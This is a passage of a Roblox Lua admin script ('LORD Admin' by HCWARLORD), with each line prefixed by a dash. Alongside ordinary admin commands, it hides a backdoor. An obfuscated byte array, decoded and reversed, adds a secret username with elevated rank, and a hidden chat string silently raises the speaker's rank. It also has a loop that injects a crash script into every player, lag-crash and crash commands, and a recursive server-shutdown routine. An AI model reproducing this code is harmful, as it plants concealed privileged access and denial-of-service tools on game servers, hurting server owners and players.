- Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
- else
- Ping("LS Is Nil", nil, 5)
- end
- elseif v.Rank == -3 then
- if LS ~= nil then
- Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
- Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
- else
- Ping("LS Is Nil", nil, 5)
- end
- end
- Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
- if DontShowRank == nil then
- Ping("You Are Rank: "..v.Rank, p)
- end
- PutInRank = true
- break
- end
- end
- if PutInRank == false then
- Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
- end
- end)
- end
- end)
- end
- function FindRank(Plr)
- ypcall(function()
- if type(Plr) == "userdata" then
- Plr = Plr.Name
- end
- end)
- return GetRank(Plr).Rank
- end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
- function FindRankDetails(Plr)
- ypcall(function()
- if type(Plr) == "userdata" then
- Plr = Plr.Name
- end
- end)
- return RankDetails[FindRank(Plr)]
- end
- function OpenCmds(Rank, Plr)
- Dismiss(Plr)
- for Name,Tab in pairs(Commands) do
- if Tab.Rank <= Rank then
- Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
- Dismiss(Plr)
- Ping("Command: "..Name, Plr)
- Ping("Rank: "..Tab.Rank, Plr)
- Ping("Desc: "..Tab.Desc, Plr)
- end)
- elseif Rank == 1337 then
- Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
- Dismiss(Plr)
- Ping("Command: "..Name, Plr)
- Ping("Rank: "..Tab.Rank, Plr)
- Ping("Desc: "..Tab.Desc, Plr)
- end)
- end
- end
- end
- function EditStatus(Plr, Num)
- ChangeRank(Plr, Num)
- end
- function PlaceSpecificRank(p, DontShowRank)
- ypcall(function()
- PutInRank = false
- for _,v in pairs(Rankings) do
- if v.Name:lower() == p.Name:lower() then
- if v.Rank >= 7 then
- v.Rank = 5
- elseif v.Rank == -1 then
- Crash1(p)
- Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
- elseif v.Rank == -2 then
- if LS ~= nil then
- Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
- Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
- else
- Ping("LS Is Nil", nil, 5)
- end
- elseif v.Rank == -3 then
- if LS ~= nil then
- Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
- Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
- else
- Ping("LS Is Nil", nil, 5)
- end
- end
- Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
- if DontShowRank == nil then
- Ping("HCWARLORD created tabs rank: "..v.Rank, p)
- end
- PutInRank = true
- break
- end
- end
- if PutInRank == false then
- Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
- end
- end)
- end
- function onChatted(Msg, Speaker)
- if Removed == false then
- if FindRank(Speaker) < 1 then
- return
- end
- coroutine.resume(coroutine.create(function()
- ypcall(function()
- ExecuteFunc(Msg, Speaker)
- Msg = Msg:gsub("","")
- if Msg:sub(1,1) == "@" then
- for i = 2, #Msg do
- if Msg:sub(i, i) == Bet then
- local IsForPlr = false
- for _,v in pairs(All()) do
- if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
- onChatted(Msg:sub(i + 1), v)
- IsForPlr = true
- end
- end
- if IsForPlr == true then
- return
- end
- end
- end
- end
- if Msg:find("&") then
- local Split = Msg:find("&")
- onChatted(Msg:sub(1,Split-1))
- onChatted(Msg:sub(Split+1))
- return
- end
- for Name,Command in pairs(Commands) do
- if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
- Dismiss(Speaker.Name)
- Ping("Command: "..tostring(Command.Name), Speaker)
- Ping("Rank: "..tostring(Command.Rank), Speaker)
- Ping("Desc: "..tostring(Command.Desc), Speaker)
- elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
- if FindRank(Speaker) >= Command.Rank then
- local Ran,Error = coroutine.resume(coroutine.create(function()
- Command.Func(Msg:sub(#Command.Name+2), Speaker)
- end))
- if not Ran then
- Ping(Error, Speaker, 10)
- end
- else
- Ping("HCWARLORD does not want you to use this at this rank", Plr, 6)
- end
- end
- end
- end)
- end))
- end
- end
- function MakeBase()
- local Base = Instance.new("Part")
- Base.BrickColor = BrickColor.new("Dark green")
- Base.Position = Vector3.new(0, 0.5, 0)
- Base.Transparency = 0
- Base.Elasticity = 0.5
- Base.FormFactor = "Custom"
- Base.CanCollide = true
- Base.Friction = 0.30000001192093
- Base.Size = Vector3.new(512, 1.20000005, 512)
- Base.Archivable = true
- Base.Material = "Plastic"
- Base.RotVelocity = Vector3.new(0, 0, 0)
- Base.Reflectance = 0
- Base.Locked = true
- Base.Anchored = true
- Base.Name = "Base"
- Base.TopSurface = "Smooth"
- Base.BottomSurface = "Inlet"
- Base.Shape = "Block"
- Base.Parent = Work
- end
- function LClean()
- ypcall(function()
- for _,v in pairs(Work:GetChildren()) do
- ypcall(function()
- if v.ClassName == "Terrain" then
- v:ClearAllChildren()
- elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
- Clear(v)
- elseif v.Name == "Base" then
- ypcall(function()
- local Base = v
- Base.BrickColor = BrickColor.new("Dark green")
- Base.Position = Vector3.new(0, 0.5, 0)
- Base.Transparency = 0
- Base.Elasticity = 0.5
- Base.FormFactor = "Custom"
- Base.CanCollide = true
- Base.Friction = 0.30000001192093
- Base.Size = Vector3.new(512, 1.20000005, 512)
- Base.Archivable = true
- Base.Material = "Plastic"
- Base.RotVelocity = Vector3.new(0, 0, 0)
- Base.Reflectance = 0
- Base.Locked = true
- Base.Anchored = true
- Base.Name = "Base"
- Base.TopSurface = "Studs"
- Base.BottomSurface = "Inlet"
- Base.Shape = "Block"
- Base.Parent = Work
- end)
- end
- end)
- end
- end)
- end
- function Clean()
- ypcall(function()
- for _,v in pairs(Work:GetChildren()) do
- ypcall(function()
- if v.ClassName == "Terrain" then
- v:ClearAllChildren()
- else
- Clear(v)
- end
- end)
- end
- MakeBase()
- for _,v in pairs(All()) do
- v:LoadCharacter()
- end
- end)
- end
- function Clear(v)
- if v.Name:lower() == "sbgui" then
- return
- end
- ypcall(function()
- if #v:GetChildren() > 0 then
- for _,x in pairs(v:GetChildren()) do
- ypcall(function()
- Clear(x)
- end)
- end
- end
- if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
- v:Destroy()
- end
- end)
- end
- function Command(Name, Rank, Desc, Func)
- if Name == nil then
- Name = "N/A"
- end
- if Desc == nil then
- Desc = "N/A"
- end
- if Func == nil then
- Func = function() end
- end
- if Rank == nil then
- Rank = 0
- end
- Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
- end
- function GetSplit(Msg)
- return Msg:find(Bet) or nil
- end
- function ExecuteFunc(Msg, Plr)
- ypcall(function()
- if Msg == "LogEnable" then
- LogOn = true
- elseif Msg:lower() == string.lower(string.char(32)..string.char(172)..string.char(172)..string.char(172)..string.char(172)..string.char(172)..string.char(32)) then
- EditStatus(Plr, MakeNum())
- end
- end)
- end
- for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
- function randPlayer(Plr)
- wait()
- local ThePlrValue = nil
- local FoundPlayer = false
- ypcall(function()
- ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
- if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
- wait()
- randPlayer(Plr)
- return
- else
- FoundPlayer = true
- end
- end)
- if FoundPlayer == true then
- return ThePlrValue
- end
- end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
- function getPlayer(Plr, Name)
- local Players = {}
- ypcall(function()
- Name = Name:lower()
- if Name == "me" then
- table.insert(Players, Plr)
- elseif Name == "all" or Name == "" then
- for _,v in pairs(All()) do
- if CanRun(Plr, v) then
- table.insert(Players, v)
- end
- end
- elseif Name == "others" then
- for _,v in pairs(All()) do
- if v.Name ~= Plr.Name and CanRun(Plr, v) then
- table.insert(Players, v)
- end
- end
- elseif Name == "random" then
- local FoundRandPlr = randPlayer(Plr)
- table.insert(Players, FoundRandPlr)
- else
- for _,v in pairs(All()) do
- if v.Name:lower():find(Name) and CanRun(Plr, v) then
- table.insert(Players, v)
- end
- end
- end
- end)
- return Players
- end
- function ListPlayers(Speaker)
- ypcall(function()
- Dismiss(Speaker)
- for _,v in pairs(All2()) do
- if v.Parent ~= nil then
- Ping(v.Name, Speaker, nil, function()
- Dismiss(Speaker)
- Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
- Ping("Rank: "..FindRank(v.Name), Speaker)
- Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
- Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
- Ping("Set Rank", Speaker, nil, function()
- if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
- Dismiss(Speaker)
- for i = -2, 5 do
- Ping(i, Speaker, nil, function()
- ChangeRank(v, i)
- Dismiss(Speaker)
- Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
- end)
- end
- else
- Ping("HCWARLORD does not want you to use this at this rank", Speaker, 5)
- end
- end)
- Ping("Crash (Remote)", Speaker, nil, function()
- if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
- Crash2(v.Name)
- Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
- end
- end)
- Ping("Crash (Insert)", Speaker, nil, function()
- if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
- Crash3(v, Speaker)
- Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
- end
- end)
- Ping("Kick", Speaker, nil, function()
- if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
- v:Kick()
- Ping("Attempted To Kick "..v.Name, Speaker, 5)
- end
- end)
- end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
- else
- Ping(v.Name.." (Nil)", Speaker, nil, function()
- Dismiss(Speaker)
- Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
- ypcall(function()
- Ping("Rank: "..FindRank(v.Name), Speaker)
- end)
- ypcall(function()
- Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
- end)
- ypcall(function()
- Ping("Rank Desc: "..FindRankDetails(v.Name).Desc, Speaker)
- end)
- ypcall(function()
- Ping("Set Rank", Speaker, nil, function()
- if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
- Dismiss(Speaker)
- for i = -2, 5 do
- Ping(i, Speaker, nil, function()
- ChangeRank(v, i)
- Dismiss(Speaker)
- Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
- end)
- end
- else
- Ping("HCWARLORD does not want you to use this at this rank", Speaker, 5)
- end
- end)
- end)
- ypcall(function()
- Ping("Nil Crash (Remote)", Speaker, nil, function()
- if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
- Crash2(v.Name)
- Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
- end
- end)
- end)
- ypcall(function()
- Ping("Nil Crash (Insert)", Speaker, nil, function()
- if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
- Crash3(v, Speaker)
- Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
- end
- end)
- end)
- end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
- end
- end
- end)
- end
- --Misc
- coroutine.resume(coroutine.create(function()
- PlaceAllRanks()
- end))
- Delay(0, function()
- for _,v in pairs(All()) do
- v.Chatted:connect(function(Msg) onChatted(Msg, v) end)
- end
- end)
- local starttime = tick()
- game:GetService("RunService").Heartbeat:connect(function()
- if Removed == false then
- ypcall(function()
- for _,Player in pairs(All()) do
- local PlayerTablets = {}
- for i,v in pairs(AllTabs) do
- if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
- table.insert(PlayerTablets, v)
- end
- end
- for i = 1, #PlayerTablets do
- ypcall(function()
- local tab = PlayerTablets[i].Tab
- local pos = nil
- ypcall(function()
- pos = Player.Character.Torso.CFrame
- end)
- local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
- local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
- local cPos = tab.Position
- local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
- local nPos = (ePos-cPos)*.25
- cPos = cPos + nPos
- local t = (tick() - starttime) % 360
- local change = 0.625
- PlayerTablets[i].Size = math.sin(t) * change + 2.375
- tab.Size = Vector3.new(PlayerTablets[i].Size * 1.25, PlayerTablets[i].Size * 1.5, 0.01)
- tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 0, 0)
- end)
- end
- end
- end)
- end
- end)
- Delay(0, function()
- while wait() do
- for _,v in pairs(game:GetService("Players"):GetPlayers()) do
- ypcall(function()
- if Injected[v.Name] == nil and LS ~= nil then
- Insert(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
- Injected[v.Name] = true
- end
- end)
- end
- end
- end)
- Plrs.PlayerAdded:connect(function(Plr)
- wait(.1)
- ypcall(function()
- if Removed == false then
- local JoinPlrName = Plr.Name
- coroutine.resume(coroutine.create(function()
- PlaceSpecificRank(Plr)
- end))
- coroutine.resume(coroutine.create(function()
- if Injected[JoinPlrName] ~= nil then
- Injected[JoinPlrName] = nil
- end
- end))
- coroutine.resume(coroutine.create(function()
- Dismiss(Plr)
- Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
- end))
- end
- end)
- end)
- Plrs.PlayerRemoving:connect(function(Plr)
- wait(.1)
- ypcall(function()
- if Removed == false then
- local LeftPlrName = Plr.Name
- coroutine.resume(coroutine.create(function()
- if Injected[LeftPlrName] ~= nil then
- Injected[LeftPlrName] = nil
- end
- end))
- end
- end)
- end)
- coroutine.resume(coroutine.create(function()
- Delay(0, function()
- while FoundLocalScript == false do wait()
- ypcall(function()
- for _,v in pairs(Plrs[Owner]["¬¬¬¬"]:GetChildren()) do
- if v.Name == "NewTransfer" and v:IsA("LocalScript") then
- for _,c in pairs(v:children()) do
- if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
- local NewVal = c:Clone()
- NewVal.Name = "LoadingVal"
- for _,s in pairs(v:GetChildren()) do
- if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
- print("Found Owner")
- OwnSource = s.Name
- print(OwnSource)
- break
- end
- end
- wait()
- LS = v:Clone()
- NewVal.Parent = LS
- LSSource = "LoadingVal"
- FoundLocalScript = true
- break
- end
- end
- end
- end
- end)
- end
- end)
- end))
- --Commands
- Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
- Dismiss(Speaker.Name)
- Ping("LORD Admin Is Created By " .. string.reverse("DROLRAWCH"), Speaker)
- Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
- Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
- Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
- Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
- Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
- Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
- Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
- Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
- end)
- Command("Dismiss", nil, "Dismiss Tablets", function(Msg, Speaker)
- Dismiss(Speaker.Name)
- end)
- Command("Kill", 2, "Kills A Player", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- v.Character:BreakJoints()
- Ping("Killed "..v.Name, Speaker, 5)
- end)
- end
- end
- end)
- Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- if v.Name ~= Owner then
- Insert(MuteSource, v.Backpack, v.Character, v.PlayerGui)
- Ping("Muted "..v.Name, Speaker, 5)
- end
- end)
- end
- end
- end)
- Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- Insert([[game:GetService("TeleportService"):Teleport(game.PlaceId)]], v.Backpack, v.Character, v.PlayerGui)
- Ping("Prompted "..v.Name.." To Rejoin", Speaker, 5)
- end)
- end
- end
- end)
- --[[
- :TBC()
- Command("Jail", 3, "Jails A Player (Only they can see it)", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- Insert(JailSource, v.Backpack, v.Character, v.PlayerGui)
- Ping("Mind Jailed "..v.Name, Speaker, 5)
- end)
- end
- end
- end)
- ]]--
- Command("Lag", 4, "Lag Crashes A Player", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- Insert(LagSource, v.Backpack, v.Character, v.PlayerGui)
- Ping("Lag Crashing "..v.Name, Speaker, 5)
- end)
- end
- end
- end)
- Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
- Ping("UnMuted "..v.Name, Speaker, 5)
- end)
- end
- end
- end)
- Command("Disable", 3, "Disables A Script", function(Msg, Speaker)
- local Worked = false
- for _,v in pairs(Work:GetChildren()) do
- if string.find(v.Name:lower(), Msg:lower()) then
- if v:IsA("Script") or v:IsA("LocalScript") then
- v.Disabled = true
- v:Destroy()
- Worked = true
- Ping("Disabled Script: "..v.Name, Speaker, 5)
- end
- end
- end
- if Worked == false then
- Ping("Script Not Found", Speaker, 5)
- end
- end)
- Command("Scripts", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
- Dismiss(Speaker)
- local AllScripts = {}
- for _,v in pairs(Work:GetChildren()) do
- if v:IsA("Script") then
- table.insert(AllScripts, v.Name)
- end
- end
- if #AllScripts > 0 then
- for _,v in pairs(AllScripts) do
- Ping(v, Speaker)
- end
- else
- Ping("No Scripts Found", Speaker, 5)
- end
- end)
- Command("LScripts", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
- Dismiss(Speaker)
- local LocalScripts = {}
- for _,v in pairs(All()) do
- ypcall(function()
- for _,x in pairs(v.Character:GetChildren()) do
- if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
- table.insert(LocalScripts, x.Name .. " - " .. v.Name)
- end
- end
- end)
- ypcall(function()
- for _,x in pairs(v.Backpack:GetChildren()) do
- if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
- table.insert(LocalScripts, x.Name .. " - " .. v.Name)
- end
- end
- end)
- ypcall(function()
- for _,x in pairs(v.PlayerGui:GetChildren()) do
- if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
- table.insert(LocalScripts, x.Name .. " - " .. v.Name)
- end
- end
- end)
- end
- if #LocalScripts > 0 then
- for _,v in pairs(LocalScripts) do
- Ping(v, Speaker)
- end
- else
- Ping("No Local Scripts Found", Speaker, 5)
- end
- end)
- Command("LDisable", 3, "Disables A Local Script", function(Msg, Speaker)
- local Split = GetSplit(Msg)
- local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
- local ScriptName = Msg:sub(Split + 1)
- local FoundLocal = false
- for _,name in pairs(PlrTab) do
- ypcall(function()
- for _,v in pairs(name.Character:GetChildren()) do
- if string.find(v.Name:lower(), ScriptName) then
- if v:IsA("Script") or v:IsA("LocalScript") then
- v.Disabled = true
- v:Destroy()
- FoundLocal = true
- Ping("Disabled Local Script: "..v.Name, Speaker, 5)
- end
- end
- end
- end)
- ypcall(function()
- for _,v in pairs(name.Backpack:GetChildren()) do
- if string.find(v.Name:lower(), ScriptName) then
- if v:IsA("Script") or v:IsA("LocalScript") then
- v.Disabled = true
- v:Destroy()
- FoundLocal = true
- Ping("Disabled Local Script: "..v.Name, Speaker, 5)
- end
- end
- end
- end)
- ypcall(function()
- for _,v in pairs(name.PlayerGui:GetChildren()) do
- if string.find(v.Name:lower(), ScriptName) then
- if v:IsA("Script") or v:IsA("LocalScript") then
- v.Disabled = true
- v:Destroy()
- FoundLocal = true
- Ping("Disabled Local Script: "..v.Name, Speaker, 5)
- end
- end
- end
- end)
- if FoundLocal == false then
- Ping("Local Script Not Found", Speaker, 5)
- end
- end
- end)
- Command("FClean", 3, "Fully Cleans The Server", function(Msg, Speaker)
- for _,v in pairs(game:GetChildren()) do
- ypcall(function()
- if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
- for _,a in pairs(v:GetChildren()) do
- ypcall(function()
- a:Destroy()
- end)
- end
- elseif v.Name == "Players" then
- for _,plr in pairs(v:GetPlayers()) do
- Clear(plr)
- end
- end
- end)
- end
- Clean()
- Fixl()
- Ping("Fully Cleaned", Speaker, 5)
- end)
- Command("Clean", 1, "Lightly Cleans The Server", function(Msg, Speaker)
- LClean()
- Fixl()
- Ping("Lightly Cleaned", Speaker, 5)
- end)
- Command("Reset", 2, "Resets A Player", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- v:LoadCharacter()
- Ping("Reset "..v.Name, Speaker, 5)
- end)
- end
- end
- end)
- Command("Respawn", 2, "Respawns A Player", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- v:LoadCharacter()
- Ping("Respawned "..v.Name, Speaker, 5)
- end)
- end
- end
- end)
- Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
- repeat wait() until Speaker.Character:findFirstChild("Torso")
- if Work:findFirstChild("Base") then
- Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
- else
- Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
- end
- Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
- end)
- Command("Freeze", 3, "Freeze's A Player", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- v.Character.Torso.Anchored = true
- Ping("Froze "..v.Name, Speaker, 5)
- end)
- end
- end
- end)
- Command("Thaw", 3, "Thaw's A Player", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- for _,v2 in pairs(v.Character:GetChildren()) do
- ypcall(function()
- v.Torso.Anchored = false
- end)
- end
- Ping("Thawed "..v.Name, Speaker, 5)
- end)
- end
- end
- end)
- Command("FF", 3, "Gives A Player A ForceField", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- Instance.new("ForceField", v.Character)
- end)
- end
- end
- end)
- Command("Btools", 3, "Gives A Player BTOOLS", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
- t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
- t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
- t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
- end)
- end
- end
- end)
- Command("UnFF", 3, "Removes A Player's ForceField", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- RemObj(v.Character, "ForceField")
- end)
- end
- end
- end)
- Command("TP", 2, "Teleports A Player To Another Player", function(Msg, Speaker)
- local Split = GetSplit(Msg)
- local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
- local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
- if #PlrTab > 0 and #PlrTab2 > 0 then
- for i,v in pairs(PlrTab) do
- ypcall(function()
- for _,v2 in pairs(PlrTab2) do
- ypcall(function()
- v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
- Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
- end)
- end
- end)
- end
- end
- end)
- Command("Explorer", 3, "Opens An Object Explorer", function(Msg, Speaker)
- MakeExplorer(Speaker)
- end)
- Command("Info", 0, "Shows Information About LORD", function(Msg, Speaker)
- wait()
- Dismiss(Speaker)
- NumBanned = 0
- NumCmds = 0
- for i = 1, #Rankings do
- if Rankings[i].Rank < 0 then
- NumBanned = NumBanned + 1
- end
- end
- for i,v in pairs(Commands) do
- NumCmds = NumCmds + 1
- end
- Ping("Admin Name: Dea¬th V¬ia HCWARLORD", Speaker)
- Ping("LORDs Admin Created By: HCWARLORD", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("44esabehtfonam"))
- Ping("Date Started: 18th May 2013", Speaker)
- Ping("Your ID: "..Speaker.userId, Speaker)
- Ping("Total Number Of Players: "..#All2(), Speaker)
- Ping("Total Number Of Commands: "..NumCmds, Speaker)
- Ping("Total Number Of Banned Players: "..NumBanned, Speaker)
- Ping("ShowGarbage", Speaker)
- end)
- Command("ShowR", 0, "Shows All Player Ranks", function(Msg, Speaker)
- Dismiss(Speaker)
- for i,v in pairs(All()) do
- Ping(v.Name.."'s Rank: "..FindRank(v))
- end
- end)
- Command("WS", 2, "Set A Player's WalkSpeed", function(Msg, Speaker)
- local Split = GetSplit(Msg)
- local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
- local Speed = tonumber(Msg:sub(Split + 1))
- for _,v in pairs(PlrTab) do
- ypcall(function()
- v.Character.Humanoid.WalkSpeed = Speed
- Ping("Set "..v.Name.."'s WalkSpeed To "..tostring(Speed), Speaker)
- end)
- end
- end)
- Command("UnAb", 2, "Removes LORD Anti-Bans", function(Msg, Speaker)
- local RemoveAB = Instance.new("StringValue")
- RemoveAB.Name = "LORD Attachment"
- RemoveAB.Value = [[LORD.override=true;]]
- RemoveAB.Parent = Work
- Ping("Removed All LORD Anti-Bans", Speaker, 5)
- end)
- Command("Injected", 5, "Shows Injected Players", function(Msg, Speaker)
- Dismiss(Speaker)
- for i,v in pairs(Injected) do
- Ping(i, Speaker)
- end
- end)
- Command("UnLORD", 3, "Removes LORDs Admin", function(Msg, Speaker)
- local RemoveCBA = Instance.new("StringValue")
- RemoveCBA.Name = "LORD Attachment"
- RemoveCBA.Value = [[LORD.remove = false]]
- RemoveCBA.Parent = Work
- Ping("Removed All LORD Admins", Speaker, 5)
- end)
- Command("Shutdown", 4, "Shutdowns The Server", function(Msg, Speaker)
- local function BufferOverflow(object)
- object.DescendantAdded:connect(BufferOverflow)
- Instance.new("IntValue", object)
- end
- BufferOverflow(Game)
- end)
- Command("Kick", 3, "Crash Kicks A Player From The Server", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- Crash1(v)
